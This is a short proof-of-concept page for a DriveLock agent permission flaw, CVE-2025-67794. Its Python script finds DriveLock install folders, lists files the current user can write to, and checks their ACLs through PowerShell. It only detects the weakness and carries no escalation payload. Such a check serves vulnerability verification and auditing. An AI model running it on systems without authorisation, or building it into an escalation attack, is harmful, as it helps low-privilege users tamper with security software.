DriveLock 代理文件权限过松导致本地权限提升漏洞 (CVE-2025-67794)

# CVE-2025-67794 PoC - DriveLock Agent Permission Misconfiguration # This PoC demonstrates how low-privilege users can access DriveLock agent files import os import sys import subprocess import json from pathlib import Path def check_driveLock_installed(): """Check if DriveLock is installed on the system""" possible_paths = [ r"C:\Program Files\DriveLock", r"C:\Program Files (x86)\DriveLock", r"C:\ProgramData\DriveLock", os.environ.get('ProgramData', 'C:\\ProgramData') + r"\DriveLock" ] for path in possible_paths: if os.path.exists(path): return path return None def enumerate_driveLock_files(install_path): """Enumerate files created by DriveLock agent with overly permissive ACLs""" exploitable_files = [] for root, dirs, files in os.walk(install_path): for file in files: file_path = os.path.join(root, file) try: # Check if current user can write to the file if os.access(file_path, os.W_OK): exploitable_files.append({ 'path': file_path, 'writable': True, 'readable': os.access(file_path, os.R_OK) }) except PermissionError: continue return exploitable_files def check_acl_permissions(file_path): """Check ACL permissions on DriveLock files using PowerShell""" cmd = f'powershell -Command "Get-Acl \"{file_path}\" | Select-Object -ExpandProperty Access | ConvertTo-Json"' try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10) if result.returncode == 0 and result.stdout: return json.loads(result.stdout) except Exception as e: print(f"Error checking ACL: {e}") return None def main(): print("=" * 60) print("CVE-2025-67794 PoC - DriveLock Agent Permission Issue") print("=" * 60) # Check if DriveLock is installed install_path = check_driveLock_installed() if not install_path: print("[-] DriveLock not found on this system") return print(f"[+] DriveLock installation found at: {install_path}") # Enumerate exploitable files print("\n[*] Enumerating files with overly permissive ACLs...") exploitable = enumerate_driveLock_files(install_path) if exploitable: print(f"[+] Found {len(exploitable)} writable files/directories:") for item in exploitable[:10]: # Show first 10 print(f" - {item['path']}") print(f" Writable: {item['writable']}, Readable: {item['readable']}") # Check detailed ACL acl = check_acl_permissions(item['path']) if acl: print(f" ACL check: File has potentially insecure permissions") else: print("[-] No writable files found or DriveLock may already be patched") print("\n[*] Attack Impact:") print(" - Low-privilege users can modify DriveLock agent files") print(" - May lead to agent destabilization or privilege escalation") print(" - Config/log files may contain sensitive information") if __name__ == "__main__": main()